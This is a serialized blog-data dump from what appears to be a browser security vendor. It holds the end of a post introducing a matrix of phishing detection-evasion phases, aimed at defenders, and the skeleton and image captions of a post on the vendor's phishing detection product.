flagged.",{"data":116265,"content":116266,"nodeType":1570},{},[116267],{"data":116268,"content":116269,"nodeType":866},{},[116270,116275],{"data":116271,"marks":116272,"value":116274,"nodeType":865},{},[116273],{"type":926},"Phase 5: Anti-analysis",{"data":116276,"marks":116277,"value":116278,"nodeType":865},{},[]," — Techniques to defeat automated “sandbox” analysis tools by preventing security teams and bots from accessing the page.",{"data":116280,"content":116281,"nodeType":1570},{},[116282],{"data":116283,"content":116284,"nodeType":866},{},[116285,116290],{"data":116286,"marks":116287,"value":116289,"nodeType":865},{},[116288],{"type":926},"Phase 6: Page obfuscation",{"data":116291,"marks":116292,"value":116293,"nodeType":865},{},[]," — Obfuscating page elements to break detection signatures analysing page content and code. ",{"data":116295,"content":116296,"nodeType":1570},{},[116297],{"data":116298,"content":116299,"nodeType":866},{},[116300,116305],{"data":116301,"marks":116302,"value":116304,"nodeType":865},{},[116303],{"type":926},"Phase 7: Defeat MFA & CA",{"data":116306,"marks":116307,"value":116308,"nodeType":865},{},[]," — Defeat authentication and access controls in order to successfully execute the phishing attack.",{"data":116310,"content":116311,"nodeType":1570},{},[116312],{"data":116313,"content":116314,"nodeType":866},{},[116315,116320],{"data":116316,"marks":116317,"value":116319,"nodeType":865},{},[116318],{"type":926},"Phase 8: Account takeover",{"data":116321,"marks":116322,"value":116323,"nodeType":865},{},[]," — Achieve a form of account takeover and conclude the identity attack, enabling further exploitation to take place.",{"data":116325,"content":116326,"nodeType":866},{},[116327],{"data":116328,"marks":116329,"value":116330,"nodeType":865},{},[],"Combining techniques and approaches from these categories is what enables attackers to bypass the majority of phishing detection controls they encounter today. You typically find that the more advanced the phishing kit / attacker, the more techniques they’ll leverage. And as phishing infrastructure becomes increasingly templated and commodified with as-a-Service or for-hire models, the average phishing attack will employ more of these measures to counter security controls. ",{"data":116332,"content":116333,"nodeType":972},{},[],{"data":116335,"content":116336,"nodeType":981},{},[116337],{"data":116338,"marks":116339,"value":34483,"nodeType":865},{},[116340],{"type":926},{"data":116342,"content":116343,"nodeType":866},{},[116344,116347,116355],{"data":116345,"marks":116346,"value":21,"nodeType":865},{},[],{"data":116348,"content":116349,"nodeType":889},{"uri":79729},[116350],{"data":116351,"marks":116352,"value":116354,"nodeType":865},{},[116353],{"type":943},"You can find the matrix here.",{"data":116356,"marks":116357,"value":21,"nodeType":865},{},[],{"data":116359,"content":116360,"nodeType":866},{},[116361,116365,116372],{"data":116362,"marks":116363,"value":116364,"nodeType":865},{},[],"If you want to learn more about the research that led us to this point, and our take on how and why phishing attacks have evolved, ",{"data":116366,"content":116367,"nodeType":889},{"uri":104632},[116368],{"data":116369,"marks":116370,"value":116371,"nodeType":865},{},[],"you can also check out our latest whitepaper. ",{"data":116373,"marks":116374,"value":21,"nodeType":865},{},[],{"data":116376,"content":116377,"nodeType":972},{},[],{"data":116379,"content":116380,"nodeType":981},{},[116381],{"data":116382,"marks":116383,"value":116385,"nodeType":865},{},[116384],{"type":926},"Get involved!",{"data":116387,"content":116388,"nodeType":866},{},[116389,116393,116399],{"data":116390,"marks":116391,"value":116392,"nodeType":865},{},[],"Like the ",{"data":116394,"content":116395,"nodeType":889},{"uri":13171},[116396],{"data":116397,"marks":116398,"value":12528,"nodeType":865},{},[],{"data":116400,"marks":116401,"value":116402,"nodeType":865},{},[],", we’d love to see the security community using and helping us to maintain this resource to ensure it stays up to date with techniques as they evolve. ",{"data":116404,"content":116405,"nodeType":866},{},[116406],{"data":116407,"marks":116408,"value":116409,"nodeType":865},{},[],"Unlike the SaaS matrix, which we’ve seen mostly leveraged by offensive security practitioners, phishing detection evasion techniques are most useful to blue teamers looking to assess current detection capabilities and understand why certain attacks got through existing defenses. ",{"data":116411,"content":116412,"nodeType":866},{},[116413,116417,116425],{"data":116414,"marks":116415,"value":116416,"nodeType":865},{},[],"If you’d like to add techniques you’ve observed or examples that you think demonstrate them, ",{"data":116418,"content":116420,"nodeType":889},{"uri":116419},"https://github.com/pushsecurity/phishing-techniques",[116421],{"data":116422,"marks":116423,"value":116424,"nodeType":865},{},[],"get involved on GitHub!",{"data":116426,"marks":116427,"value":21,"nodeType":865},{},[],"Introducing our latest resource for security teams breaking down the techniques that modern phishing attacks are using to evade detection. ","2025-08-06T00:00:00.000Z",{"items":116431},[116432,116434],{"sys":116433,"name":342},{"id":4642},{"sys":116435,"name":7796},{"id":7795},{"items":116437},[116438],{"fullName":57332,"firstName":57333,"jobTitle":57334,"profilePicture":116439},{"url":57336},"blog/how-the-browser-became-the-main-cyber-battleground",{"json":116442},{"data":116443,"content":116444,"nodeType":1382},{},[116445],{"data":116446,"content":116447,"nodeType":866},{},[116448],{"data":116449,"marks":116450,"value":113849,"nodeType":865},{},[],{"id":113079,"publishedAt":116452},"2026-08-12T11:53:53.682Z",{"items":116454},[116455,116457],{"sys":116456,"name":342},{"id":4642},{"sys":116458,"name":7796},{"id":7795},{"items":116460},[116461,116463,116465,116467,116469,116471,116473,116475,116477,116479,116481,116483,116485,116487,116489,116491,116493,116495,116497,116499,116501,116503,116505,116507,116509],{"sys":116462,"name":279,"slug":280,"tier":31},{"id":276},{"sys":116464,"name":297,"slug":298,"tier":31},{"id":294},{"sys":116466,"name":413,"slug":414,"tier":31},{"id":410},{"sys":116468,"name":519,"slug":520,"tier":31},{"id":516},{"sys":116470,"name":545,"slug":546,"tier":31},{"id":542},{"sys":116472,"name":342,"slug":343,"tier":31},{"id":339},{"sys":116474,"name":642,"slug":643,"tier":31},{"id":639},{"sys":116476,"name":377,"slug":378,"tier":45},{"id":374},{"sys":116478,"name":404,"slug":405,"tier":45},{"id":401},{"sys":116480,"name":324,"slug":325,"tier":45},{"id":321},{"sys":116482,"name":333,"slug":334,"tier":45},{"id":330},{"sys":116484,"name":571,"slug":572,"tier":45},{"id":568},{"sys":116486,"name":422,"slug":423,"tier":45},{"id":419},{"sys":116488,"name":261,"slug":262,"tier":45},{"id":258},{"sys":116490,"name":466,"slug":467,"tier":45},{"id":463},{"sys":116492,"name":457,"slug":458,"tier":45},{"id":454},{"sys":116494,"name":395,"slug":396,"tier":45},{"id":392},{"sys":116496,"name":288,"slug":289,"tier":45},{"id":285},{"sys":116498,"name":484,"slug":485,"tier":45},{"id":481},{"sys":116500,"name":589,"slug":590,"tier":45},{"id":586},{"sys":116502,"name":607,"slug":608,"tier":45},{"id":604},{"sys":116504,"name":475,"slug":476,"tier":45},{"id":472},{"sys":116506,"name":511,"slug":512,"tier":45},{"id":508},{"sys":116508,"name":493,"slug":494,"tier":45},{"id":490},{"sys":116510,"name":440,"slug":441,"tier":45},{"id":437},"PonpZ2he3fGXpKQWTeIZC0k0nbZ5ZfYtQyn8NDwmYDI",{"id":116513,"title":87609,"authorsCollection":116514,"content":116518,"extension":228,"faqItemsCollection":117460,"faqTitle":59,"featured":6,"hashTags":59,"meta":117462,"metaTitle":117463,"ogImage":59,"postType":87741,"publishedDate":111018,"relatedBlogPostsCollection":117464,"slug":87610,"stem":118985,"subtitle":59,"summary":118986,"synopsis":111017,"sys":118997,"tagsCollection":118999,"topicsCollection":119005,"__hash__":119047},"blog/blog/introducing-push-detections.json",{"items":116515},[116516],{"fullName":6500,"firstName":6501,"jobTitle":4616,"socialLinks":59,"profilePicture":116517},{"url":6503},{"json":116519,"links":117366},{"data":116520,"content":116521,"nodeType":1382},{},[116522,116528,116538,116548,116558,116568,116573,116589,116595,116608,116614,116619,116622,116629,116635,116641,116647,116652,116655,116662,116668,116684,116690,116696,116702,116708,116713,116719,116725,116731,116756,116762,116778,116784,116790,116806,116822,116838,116843,116849,116862,116868,116874,116880,116896,116903,116909,116915,116918,116925,116931,116937,116943,116982,116987,116993,117006,117083,117088,117094,117100,117157,117163,117169,117175,117180,117186,117192,117198,117203,117209,117215,117221,117226,117242,117248,117254,117293,117298,117301,117308,117328,117331,117338,117344,117350],{"data":116523,"content":116524,"nodeType":866},{},[116525],{"data":116526,"marks":116527,"value":110045,"nodeType":865},{},[],{"data":116529,"content":116530,"nodeType":866},{},[116531,116535],{"data":116532,"marks":116533,"value":110053,"nodeType":865},{},[116534],{"type":926},{"data":116536,"marks":116537,"value":110057,"nodeType":865},{},[],{"data":116539,"content":116540,"nodeType":866},{},[116541,116545],{"data":116542,"marks":116543,"value":110065,"nodeType":865},{},[116544],{"type":926},{"data":116546,"marks":116547,"value":110069,"nodeType":865},{},[],{"data":116549,"content":116550,"nodeType":866},{},[116551,116555],{"data":116552,"marks":116553,"value":110077,"nodeType":865},{},[116554],{"type":926},{"data":116556,"marks":116557,"value":110081,"nodeType":865},{},[],{"data":116559,"content":116560,"nodeType":866},{},[116561,116565],{"data":116562,"marks":116563,"value":110089,"nodeType":865},{},[116564],{"type":926},{"data":116566,"marks":116567,"value":110093,"nodeType":865},{},[],{"data":116569,"content":116572,"nodeType":912},{"target":116570},{"sys":116571},{"id":110098,"type":909,"linkType":910},[],{"data":116574,"content":116575,"nodeType":866},{},[116576,116579,116586],{"data":116577,"marks":116578,"value":110106,"nodeType":865},{},[],{"data":116580,"content":116581,"nodeType":889},{"uri":54299},[116582],{"data":116583,"marks":116584,"value":110114,"nodeType":865},{},[116585],{"type":943},{"data":116587,"marks":116588,"value":110118,"nodeType":865},{},[],{"data":116590,"content":116591,"nodeType":866},{},[116592],{"data":116593,"marks":116594,"value":110125,"nodeType":865},{},[],{"data":116596,"content":116597,"nodeType":866},{},[116598,116601,116605],{"data":116599,"marks":116600,"value":110132,"nodeType":865},{},[],{"data":116602,"marks":116603,"value":110137,"nodeType":865},{},[116604],{"type":926},{"data":116606,"marks":116607,"value":110141,"nodeType":865},{},[],{"data":116609,"content":116610,"nodeType":866},{},[116611],{"data":116612,"marks":116613,"value":110148,"nodeType":865},{},[],{"data":116615,"content":116618,"nodeType":912},{"target":116616},{"sys":116617},{"id":110153,"type":909,"linkType":910},[],{"data":116620,"content":116621,"nodeType":972},{},[],{"data":116623,"content":116624,"nodeType":981},{},[116625],{"data":116626,"marks":116627,"value":110165,"nodeType":865},{},[116628],{"type":926},{"data":116630,"content":116631,"nodeType":866},{},[116632],{"data":116633,"marks":116634,"value":110172,"nodeType":865},{},[],{"data":116636,"content":116637,"nodeType":866},{},[116638],{"data":116639,"marks":116640,"value":110179,"nodeType":865},{},[],{"data":116642,"content":116643,"nodeType":866},{},[116644],{"data":116645,"marks":116646,"value":110186,"nodeType":865},{},[],{"data":116648,"content":116651,"nodeType":912},{"target":116649},{"sys":116650},{"id":110191,"type":909,"linkType":910},[],{"data":116653,"content":116654,"nodeType":972},{},[],{"data":116656,"content":116657,"nodeType":981},{},[116658],{"data":116659,"marks":116660,"value":110203,"nodeType":865},{},[116661],{"type":926},{"data":116663,"content":116664,"nodeType":866},{},[116665],{"data":116666,"marks":116667,"value":110210,"nodeType":865},{},[],{"data":116669,"content":116670,"nodeType":866},{},[116671,116674,116681],{"data":116672,"marks":116673,"value":110217,"nodeType":865},{},[],{"data":116675,"content":116676,"nodeType":889},{"uri":110220},[116677],{"data":116678,"marks":116679,"value":110226,"nodeType":865},{},[116680],{"type":943},{"data":116682,"marks":116683,"value":110230,"nodeType":865},{},[],{"data":116685,"content":116686,"nodeType":866},{},[116687],{"data":116688,"marks":116689,"value":110237,"nodeType":865},{},[],{"data":116691,"content":116692,"nodeType":866},{},[116693],{"data":116694,"marks":116695,"value":110244,"nodeType":865},{},[],{"data":116697,"content":116698,"nodeType":1317},{},[116699],{"data":116700,"marks":116701,"value":110251,"nodeType":865},{},[],{"data":116703,"content":116704,"nodeType":866},{},[116705],{"data":116706,"marks":116707,"value":110258,"nodeType":865},{},[],{"data":116709,"content":116712,"nodeType":912},{"target":116710},{"sys":116711},{"id":110263,"type":909,"linkType":910},[],{"data":116714,"content":116715,"nodeType":866},{},[116716],{"data":116717,"marks":116718,"value":110271,"nodeType":865},{},[],{"data":116720,"content":116721,"nodeType":1317},{},[116722],{"data":116723,"marks":116724,"value":110278,"nodeType":865},{},[],{"data":116726,"content":116727,"nodeType":866},{},[116728],{"data":116729,"marks":116730,"value":110285,"nodeType":865},{},[],{"data":116732,"content":116733,"nodeType":866},{},[116734,116737,116745,116749,116752],{"data":116735,"marks":116736,"value":110292,"nodeType":865},{},[],{"data":116738,"content":116739,"nodeType":889},{"uri":7112},[116740],{"data":116741,"marks":116742,"value":110301,"nodeType":865},{},[116743,116744],{"type":943},{"type":926},{"data":116746,"marks":116747,"value":2688,"nodeType":865},{},[116748],{"type":926},{"data":116750,"marks":116751,"value":110309,"nodeType":865},{},[],{"data":116753,"marks":116754,"value":110314,"nodeType":865},{},[116755],{"type":926},{"data":116757,"content":116758,"nodeType":866},{},[116759],{"data":116760,"marks":116761,"value":110321,"nodeType":865},{},[],{"data":116763,"content":116764,"nodeType":866},{},[116765,116768,116775],{"data":116766,"marks":116767,"value":110328,"nodeType":865},{},[],{"data":116769,"content":116770,"nodeType":889},{"uri":54299},[116771],{"data":116772,"marks":116773,"value":4996,"nodeType":865},{},[116774],{"type":943},{"data":116776,"marks":116777,"value":110339,"nodeType":865},{},[],{"data":116779,"content":116780,"nodeType":1317},{},[116781],{"data":116782,"marks":116783,"value":110346,"nodeType":865},{},[],{"data":116785,"content":116786,"nodeType":866},{},[116787],{"data":116788,"marks":116789,"value":110353,"nodeType":865},{},[],{"data":116791,"content":116792,"nodeType":866},{},[116793,116796,116803],{"data":116794,"marks":116795,"value":110360,"nodeType":865},{},[],{"data":116797,"content":116798,"nodeType":889},{"uri":110363},[116799],{"data":116800,"marks":116801,"value":110369,"nodeType":865},{},[116802],{"type":943},{"data":116804,"marks":116805,"value":110373,"nodeType":865},{},[],{"data":116807,"content":116808,"nodeType":866},{},[116809,116812,116819],{"data":116810,"marks":116811,"value":110380,"nodeType":865},{},[],{"data":116813,"content":116814,"nodeType":889},{"uri":110383},[116815],{"data":116816,"marks":116817,"value":110389,"nodeType":865},{},[116818],{"type":943},{"data":116820,"marks":116821,"value":110393,"nodeType":865},{},[],{"data":116823,"content":116824,"nodeType":866},{},[116825,116828,116835],{"data":116826,"marks":116827,"value":110400,"nodeType":865},{},[],{"data":116829,"content":116830,"nodeType":889},{"uri":110403},[116831],{"data":116832,"marks":116833,"value":110409,"nodeType":865},{},[116834],{"type":943},{"data":116836,"marks":116837,"value":110413,"nodeType":865},{},[],{"data":116839,"content":116842,"nodeType":912},{"target":116840},{"sys":116841},{"id":110418,"type":909,"linkType":910},[],{"data":116844,"content":116845,"nodeType":1317},{},[116846],{"data":116847,"marks":116848,"value":110426,"nodeType":865},{},[],{"data":116850,"content":116851,"nodeType":866},{},[116852,116855,116859],{"data":116853,"marks":116854,"value":110433,"nodeType":865},{},[],{"data":116856,"marks":116857,"value":110438,"nodeType":865},{},[116858],{"type":898},{"data":116860,"marks":116861,"value":110442,"nodeType":865},{},[],{"data":116863,"content":116864,"nodeType":866},{},[116865],{"data":116866,"marks":116867,"value":110449,"nodeType":865},{},[],{"data":116869,"content":116870,"nodeType":866},{},[116871],{"data":116872,"marks":116873,"value":110456,"nodeType":865},{},[],{"data":116875,"content":116876,"nodeType":866},{},[116877],{"data":116878,"marks":116879,"value":110463,"nodeType":865},{},[],{"data":116881,"content":116882,"nodeType":866},{},[116883,116886,116893],{"data":116884,"marks":116885,"value":110470,"nodeType":865},{},[],{"data":116887,"content":116888,"nodeType":889},{"uri":53259},[116889],{"data":116890,"marks":116891,"value":110478,"nodeType":865},{},[116892],{"type":943},{"data":116894,"marks":116895,"value":110482,"nodeType":865},{},[],{"data":116897,"content":116898,"nodeType":866},{},[116899],{"data":116900,"marks":116901,"value":110490,"nodeType":865},{},[116902],{"type":926},{"data":116904,"content":116905,"nodeType":866},{},[116906],{"data":116907,"marks":116908,"value":110497,"nodeType":865},{},[],{"data":116910,"content":116911,"nodeType":866},{},[116912],{"data":116913,"marks":116914,"value":110504,"nodeType":865},{},[],{"data":116916,"content":116917,"nodeType":972},{},[],{"data":116919,"content":116920,"nodeType":981},{},[116921],{"data":116922,"marks":116923,"value":110515,"nodeType":865},{},[116924],{"type":926},{"data":116926,"content":116927,"nodeType":866},{},[116928],{"data":116929,"marks":116930,"value":110522,"nodeType":865},{},[],{"data":116932,"content":116933,"nodeType":866},{},[116934],{"data":116935,"marks":116936,"value":110529,"nodeType":865},{},[],{"data":116938,"content":116939,"nodeType":866},{},[116940],{"data":116941,"marks":116942,"value":110536,"nodeType":865},{},[],{"data":116944,"content":116945,"nodeType":1616},{},[116946,116955,116964,116973],{"data":116947,"content":116948,"nodeType":1570},{},[116949],{"data":116950,"content":116951,"nodeType":866},{},[116952],{"data":116953,"marks":116954,"value":110549,"nodeType":865},{},[],{"data":116956,"content":116957,"nodeType":1570},{},[116958],{"data":116959,"content":116960,"nodeType":866},{},[116961],{"data":116962,"marks":116963,"value":110559,"nodeType":865},{},[],{"data":116965,"content":116966,"nodeType":1570},{},[116967],{"data":116968,"content":116969,"nodeType":866},{},[116970],{"data":116971,"marks":116972,"value":110569,"nodeType":865},{},[],{"data":116974,"content":116975,"nodeType":1570},{},[116976],{"data":116977,"content":116978,"nodeType":866},{},[116979],{"data":116980,"marks":116981,"value":110579,"nodeType":865},{},[],{"data":116983,"content":116986,"nodeType":912},{"target":116984},{"sys":116985},{"id":110584,"type":909,"linkType":910},[],{"data":116988,"content":116989,"nodeType":866},{},[116990],{"data":116991,"marks":116992,"value":110592,"nodeType":865},{},[],{"data":116994,"content":116995,"nodeType":866},{},[116996,116999,117003],{"data":116997,"marks":116998,"value":110599,"nodeType":865},{},[],{"data":117000,"marks":117001,"value":110137,"nodeType":865},{},[117002],{"type":926},{"data":117004,"marks":117005,"value":110607,"nodeType":865},{},[],{"data":117007,"content":117008,"nodeType":1616},{},[117009,117038,117047,117056,117065,117074],{"data":117010,"content":117011,"nodeType":1570},{},[117012],{"data":117013,"content":117014,"nodeType":866},{},[117015,117018,117025,117028,117035],{"data":117016,"marks":117017,"value":110620,"nodeType":865},{},[],{"data":117019,"content":117020,"nodeType":889},{"uri":110623},[117021],{"data":117022,"marks":117023,"value":110629,"nodeType":865},{},[117024],{"type":943},{"data":117026,"marks":117027,"value":110633,"nodeType":865},{},[],{"data":117029,"content":117030,"nodeType":889},{"uri":110636},[117031],{"data":117032,"marks":117033,"value":110642,"nodeType":865},{},[117034],{"type":943},{"data":117036,"marks":117037,"value":110646,"nodeType":865},{},[],{"data":117039,"content":117040,"nodeType":1570},{},[117041],{"data":117042,"content":117043,"nodeType":866},{},[117044],{"data":117045,"marks":117046,"value":110656,"nodeType":865},{},[],{"data":117048,"content":117049,"nodeType":1570},{},[117050],{"data":117051,"content":117052,"nodeType":866},{},[117053],{"data":117054,"marks":117055,"value":110666,"nodeType":865},{},[],{"data":117057,"content":117058,"nodeType":1570},{},[117059],{"data":117060,"content":117061,"nodeType":866},{},[117062],{"data":117063,"marks":117064,"value":110676,"nodeType":865},{},[],{"data":117066,"content":117067,"nodeType":1570},{},[117068],{"data":117069,"content":117070,"nodeType":866},{},[117071],{"data":117072,"marks":117073,"value":110686,"nodeType":865},{},[],{"data":117075,"content":117076,"nodeType":1570},{},[117077],{"data":117078,"content":117079,"nodeType":866},{},[117080],{"data":117081,"marks":117082,"value":110696,"nodeType":865},{},[],{"data":117084,"content":117087,"nodeType":912},{"target":117085},{"sys":117086},{"id":110701,"type":909,"linkType":910},[],{"data":117089,"content":117090,"nodeType":1317},{},[117091],{"data":117092,"marks":117093,"value":110709,"nodeType":865},{},[],{"data":117095,"content":117096,"nodeType":866},{},[117097],{"data":117098,"marks":117099,"value":110716,"nodeType":865},{},[],{"data":117101,"content":117102,"nodeType":1616},{},[117103,117112,117121,117130,117139,117148],{"data":117104,"content":117105,"nodeType":1570},{},[117106],{"data":117107,"content":117108,"nodeType":866},{},[117109],{"data":117110,"marks":117111,"value":110729,"nodeType":865},{},[],{"data":117113,"content":117114,"nodeType":1570},{},[117115],{"data":117116,"content":117117,"nodeType":866},{},[117118],{"data":117119,"marks":117120,"value":110739,"nodeType":865},{},[],{"data":117122,"content":117123,"nodeType":1570},{},[117124],{"data":117125,"content":117126,"nodeType":866},{},[117127],{"data":117128,"marks":117129,"value":110749,"nodeType":865},{},[],{"data":117131,"content":117132,"nodeType":1570},{},[117133],{"data":117134,"content":117135,"nodeType":866},{},[117136],{"data":117137,"marks":117138,"value":110759,"nodeType":865},{},[],{"data":117140,"content":117141,"nodeType":1570},{},[117142],{"data":117143,"content":117144,"nodeType":866},{},[117145],{"data":117146,"marks":117147,"value":110769,"nodeType":865},{},[],{"data":117149,"content":117150,"nodeType":1570},{},[117151],{"data":117152,"content":117153,"nodeType":866},{},[117154],{"data":117155,"marks":117156,"value":110779,"nodeType":865},{},[],{"data":117158,"content":117159,"nodeType":866},{},[117160],{"data":117161,"marks":117162,"value":110786,"nodeType":865},{},[],{"data":117164,"content":117165,"nodeType":866},{},[117166],{"data":117167,"marks":117168,"value":110793,"nodeType":865},{},[],{"data":117170,"content":117171,"nodeType":866},{},[117172],{"data":117173,"marks":117174,"value":110800,"nodeType":865},{},[],{"data":117176,"content":117179,"nodeType":912},{"target":117177},{"sys":117178},{"id":110805,"type":909,"linkType":910},[],{"data":117181,"content":117182,"nodeType":866},{},[117183],{"data":117184,"marks":117185,"value":110813,"nodeType":865},{},[],{"data":117187,"content":117188,"nodeType":1317},{},[117189],{"data":117190,"marks":117191,"value":110820,"nodeType":865},{},[],{"data":117193,"content":117194,"nodeType":866},{},[117195],{"data":117196,"marks":117197,"value":110827,"nodeType":865},{},[],{"data":117199,"content":117202,"nodeType":912},{"target":117200},{"sys":117201},{"id":110832,"type":909,"linkType":910},[],{"data":117204,"content":117205,"nodeType":1317},{},[117206],{"data":117207,"marks":117208,"value":110840,"nodeType":865},{},[],{"data":117210,"content":117211,"nodeType":866},{},[117212],{"data":117213,"marks":117214,"value":110847,"nodeType":865},{},[],{"data":117216,"content":117217,"nodeType":866},{},[117218],{"data":117219,"marks":117220,"value":110854,"nodeType":865},{},[],{"data":117222,"content":117225,"nodeType":912},{"target":117223},{"sys":117224},{"id":110859,"type":909,"linkType":910},[],{"data":117227,"content":117228,"nodeType":866},{},[117229,117232,117239],{"data":117230,"marks":117231,"value":110867,"nodeType":865},{},[],{"data":117233,"content":117234,"nodeType":889},{"uri":110870},[117235],{"data":117236,"marks":117237,"value":110876,"nodeType":865},{},[117238],{"type":943},{"data":117240,"marks":117241,"value":110880,"nodeType":865},{},[],{"data":117243,"content":117244,"nodeType":1317},{},[117245],{"data":117246,"marks":117247,"value":110887,"nodeType":865},{},[],{"data":117249,"content":117250,"nodeType":866},{},[117251],{"data":117252,"marks":117253,"value":110894,"nodeType":865},{},[],{"data":117255,"content":117256,"nodeType":1616},{},[117257,117266,117275,117284],{"data":117258,"content":117259,"nodeType":1570},{},[117260],{"data":117261,"content":117262,"nodeType":866},{},[117263],{"data":117264,"marks":117265,"value":110907,"nodeType":865},{},[],{"data":117267,"content":117268,"nodeType":1570},{},[117269],{"data":117270,"content":117271,"nodeType":866},{},[117272],{"data":117273,"marks":117274,"value":110917,"nodeType":865},{},[],{"data":117276,"content":117277,"nodeType":1570},{},[117278],{"data":117279,"content":117280,"nodeType":866},{},[117281],{"data":117282,"marks":117283,"value":110927,"nodeType":865},{},[],{"data":117285,"content":117286,"nodeType":1570},{},[117287],{"data":117288,"content":117289,"nodeType":866},{},[117290],{"data":117291,"marks":117292,"value":110937,"nodeType":865},{},[],{"data":117294,"content":117297,"nodeType":912},{"target":117295},{"sys":117296},{"id":110942,"type":909,"linkType":910},[],{"data":117299,"content":117300,"nodeType":972},{},[],{"data":117302,"content":117303,"nodeType":981},{},[117304],{"data":117305,"marks":117306,"value":110954,"nodeType":865},{},[117307],{"type":926},{"data":117309,"content":117310,"nodeType":866},{},[117311,117314,117321,117324],{"data":117312,"marks":117313,"value":110961,"nodeType":865},{},[],{"data":117315,"content":117316,"nodeType":889},{"uri":110964},[117317],{"data":117318,"marks":117319,"value":110970,"nodeType":865},{},[117320],{"type":943},{"data":117322,"marks":117323,"value":2717,"nodeType":865},{},[],{"data":117325,"marks":117326,"value":110978,"nodeType":865},{},[117327],{"type":926},{"data":117329,"content":117330,"nodeType":972},{},[],{"data":117332,"content":117333,"nodeType":981},{},[117334],{"data":117335,"marks":117336,"value":2270,"nodeType":865},{},[117337],{"type":926},{"data":117339,"content":117340,"nodeType":866},{},[117341],{"data":117342,"marks":117343,"value":106196,"nodeType":865},{},[],{"data":117345,"content":117346,"nodeType":866},{},[117347],{"data":117348,"marks":117349,"value":106203,"nodeType":865},{},[],{"data":117351,"content":117352,"nodeType":866},{},[117353,117356,117363],{"data":117354,"marks":117355,"value":104093,"nodeType":865},{},[],{"data":117357,"content":117358,"nodeType":889},{"uri":16069},[117359],{"data":117360,"marks":117361,"value":106217,"nodeType":865},{},[117362],{"type":943},{"data":117364,"marks":117365,"value":21,"nodeType":865},{},[],{"entries":117367},{"hyperlink":117368,"inline":117369,"block":117370},[],[],[117371,117379,117383,117389,117414,117422,117429,117435,117442,117448,117454],{"sys":117372,"__typename":1390,"title":117373,"caption":117374,"layoutMode":59,"file":117375},{"id":110098},"Detections feature blog image 1","A version of NOW that sadly does not exist in the wild.",{"url":117376,"width":117377,"height":117378},"https://images.ctfassets.net/y1cdw1ablpvd/2jy8iOjUaE3L329TI67enQ/c47f600f8dc32c6358565791f4898443/image3.png",916,594,{"sys":117380,"__typename":52243,"title":117381,"arcadeDemoUrl":117382,"playText":59377},{"id":110153},"Detection walk-through 2","https://demo.arcade.software/gnOatHxEHaDs9SFRiDHY?embed",{"sys":117384,"__typename":1390,"title":117385,"caption":114618,"layoutMode":59,"file":117386},{"id":110191},"Detections Feature Blog: Attack Evolution",{"url":117387,"width":1402,"height":117388},"https://images.ctfassets.net/y1cdw1ablpvd/HzZeEBTpsqO575ni4j8oX/ccbc8ecf1b7dadfd9f2ec15f20399760/image4.png",815,{"sys":117390,"__typename":5503,"content":117391,"name":117413,"title":59},{"id":110263},{"json":117392},{"data":117393,"content":117394,"nodeType":1382},{},[117395],{"data":117396,"content":117397,"nodeType":866},{},[117398,117402,117409],{"data":117399,"marks":117400,"value":117401,"nodeType":865},{},[],"And even if your users are using phishing-resistant login methods, attackers are routinely using ",{"data":117403,"content":117404,"nodeType":889},{"uri":95823},[117405],{"data":117406,"marks":117407,"value":83858,"nodeType":865},{},[117408],{"type":943},{"data":117410,"marks":117411,"value":117412,"nodeType":865},{},[]," to take advantage of less secure backup login methods — which they’re achieving using Adversary-in-the-Middle phishing kits that are the standard choice for attackers today.","Detection blog: insight box",{"sys":117415,"__typename":1390,"title":117416,"caption":117417,"layoutMode":59,"file":117418},{"id":110418},"Detections blog: Email and network layer identity tools are looking from the outside-in at attacks that happen in the victim’s web browser.","Email and network layer identity tools are looking from the outside-in at attacks that happen in the victim’s web browser.",{"url":117419,"width":117420,"height":117421},"https://images.ctfassets.net/y1cdw1ablpvd/1488clWVU9FbuCVLfK4kcW/c014d62cdba4a6bc9312a7b1ff36b469/image9.png",1694,884,{"sys":117423,"__typename":1390,"title":117424,"caption":114659,"layoutMode":59,"file":117425},{"id":110584},"Detections blog: Being in the browser gives you unrivalled visibility of phishing page activity and user behavior.",{"url":117426,"width":117427,"height":117428},"https://images.ctfassets.net/y1cdw1ablpvd/4ogsAA3hGcMII18MwTYn6T/6fdf3ef0e6e59ecf412fd0748ba24145/Screenshot_2025-04-29_at_11.35.47.png",1942,924,{"sys":117430,"__typename":1390,"title":117431,"caption":117431,"layoutMode":59,"file":117432},{"id":110701},"Using Push, you can get a detailed timeline of what occurred in the browser during a security incident, including a screenshot of the phishing site and a view into all the impacted accounts.",{"url":117433,"width":117434,"height":1402},"https://images.ctfassets.net/y1cdw1ablpvd/aRWXKrYsTBsWNyLZD6xnq/19da00363042e2ec3b065cce711022da/image6.png",1504,{"sys":117436,"__typename":1390,"title":117437,"caption":117437,"layoutMode":59,"file":117438},{"id":110805},"Timeline detail from a detection, from link source to whether credentials were entered and a session was successfully created.",{"url":117439,"width":117440,"height":117441},"https://images.ctfassets.net/y1cdw1ablpvd/b7EMaJoZDdrMnbUYpNJYt/3f18f47eec73f3bb82fd453694179215/image1.png",1442,1562,{"sys":117443,"__typename":1390,"title":117444,"caption":117444,"layoutMode":59,"file":117445},{"id":110832},"Screenshot detail from a detection.",{"url":117446,"width":1402,"height":117447},"https://images.ctfassets.net/y1cdw1ablpvd/16pqmMfgYn5t66uCSAN4U9/f1c9ff29c31a14c2ea302455876776bf/image7.png",551,{"sys":117449,"__typename":1390,"title":117450,"caption":117450,"layoutMode":59,"file":117451},{"id":110859},"Blast radius detail from a detection showing login methods, compromised apps and at-risk accounts. ",{"url":117452,"width":1402,"height":117453},"https://images.ctfassets.net/y1cdw1ablpvd/78sUsmdsMFzElZjekjcn1R/31f9c1b5d9d04e94236d7f9888924609/image2.png",639,{"sys":117455,"__typename":1390,"title":117456,"caption":117456,"layoutMode":59,"file":117457},{"id":110942},"urlscan.io enrichment on a detection",{"url":117458,"width":1402,"height":117459},"https://images.ctfassets.net/y1cdw1ablpvd/32AfP4MM4lIuS8rTsuEXjj/65582616381c6f3f522101e1fb81f726/image5.png",1354,{"items":117461},[],{},"Introducing Push Detections: Equipping SecOps and IR 